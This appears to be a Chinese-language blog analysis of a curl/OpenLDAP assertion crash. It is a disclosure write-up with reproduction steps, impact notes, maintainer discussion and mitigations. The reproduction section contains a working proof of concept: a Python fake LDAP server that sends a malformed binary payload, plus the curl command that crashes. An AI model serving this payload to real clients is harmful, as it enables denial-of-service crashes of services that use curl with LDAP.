curl访问LDAP URL时触发断言崩溃漏洞分析

本文详细分析了curl工具在处理特定LDAP URL时触发OpenLDAP库断言崩溃的技术细节,包含复现步骤、影响范围及开发者讨论,揭示了底层协议处理缺陷。

curl ASSERTs when accessing an LDAP URL

漏洞概要

当访问LDAP URL时,curl会因OpenLDAP库的断言失败而崩溃。

1
2
3
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

影响版本

该漏洞影响系统自带的curl版本以及最新master分支版本。

复现步骤

  1. 运行以下Python脚本创建模拟LDAP服务器:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""

import socket
import logging
import sys

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)

# 待发送的二进制响应
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'

PORT = 1388

def handle_client(client_socket, client_address):
    """处理客户端连接"""
    try:
        log.info(f"Client connected from {client_address}")
        client_socket.send(BINARY_RESPONSE)
        log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")
    except Exception as e:
        log.error(f"Error handling client {client_address}: {e}")
    finally:
        client_socket.close()
        log.info(f"Connection closed for {client_address}")

def run_server():
    """启动服务器"""
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server_socket.bind(('localhost', PORT))
        server_socket.listen(5)
        log.info(f"Server listening on port {PORT}")
        while True:
            try:
                client_socket, client_address = server_socket.accept()
                handle_client(client_socket, client_address)
            except KeyboardInterrupt:
                break
    except Exception as e:
        log.error(f"Error starting server: {e}")
        sys.exit(1)
    finally:
        server_socket.close()

if __name__ == "__main__":
    run_server()
  1. 执行curl命令触发崩溃:
1
curl ldap://localhost:1388

技术分析

  1. 崩溃发生在OpenLDAP库的result.c文件中,具体是try_read1msg函数的BER(Basic Encoding Rules)格式验证断言
  2. 问题根源在于OpenLDAP库对畸形LDAP消息的处理缺陷
  3. 在NDEBUG编译环境下断言会消失,但底层协议处理问题仍然存在

影响评估

  • 攻击场景:当攻击者可控制curl访问的LDAP URL时,可导致服务崩溃
  • 实际风险:需结合具体应用场景评估,主流认为属于OpenLDAP库的实现问题

开发者讨论

  1. OpenLDAP维护者确认该问题可通过定义NDEBUG消除断言
  2. curl团队认为这属于OpenLDAP的实现缺陷,已提交官方工单
  3. 争议点:是否应将用户可控URL导致的崩溃视为安全问题

解决方案

  1. OpenLDAP应修复畸形消息处理逻辑
  2. 建议服务端对用户提供的URL进行严格过滤
  3. 临时方案:避免在关键服务中使用LDAP协议
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计